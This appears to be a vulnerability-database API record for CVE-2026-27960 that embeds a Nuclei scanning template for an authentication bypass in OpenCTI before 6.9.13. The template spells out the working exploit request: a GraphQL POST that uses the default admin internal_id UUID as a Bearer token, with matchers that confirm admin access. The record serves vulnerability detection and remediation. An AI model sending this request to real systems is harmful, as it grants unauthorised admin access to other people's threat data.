{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-27960/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-27960/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-27960/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-27960/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-27960/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-27960"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-27960"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-27960.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-27960\n\ninfo:\n  name: OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication.\n  impact: |\n    An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data.\n  remediation: |\n    Upgrade OpenCTI to version 6.9.13 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27960\n    - https://www.pruva.dev/reproductions/REPRO-2026-00314\n    - https://www.pruva.dev/reproductions/REPRO-2026-00331\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-27960\n    epss-score: 0.07086\n    epss-percentile: 0.94245\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: opencti\n    product: opencti\n  tags: cve,cve2026,opencti,auth-bypass,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f\n\n        {\"query\":\"{ me { user_email name } }\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'regex(\"\\\"data\\\"\\\\s*:\\\\s*\\\\{\\\\s*\\\"me\\\"\\\\s*:\\\\s*\\\\{[^{}]*\\\"user_email\\\"\\\\s*:\\\\s*\\\"[^\\\"]+\\\"\", body)'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: json\n        part: body\n        json:\n          - '.data.me.user_email'\n# digest: 4a0a00473045022100d95bbf29ec665df4227c8b48d6d10386b6fc628cc1d62090a4a33b09837de8590220707e46384e102aa8b0e8f25723d4bfb7cecd88ce9c865d6a46715d228840401b:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-27960"
}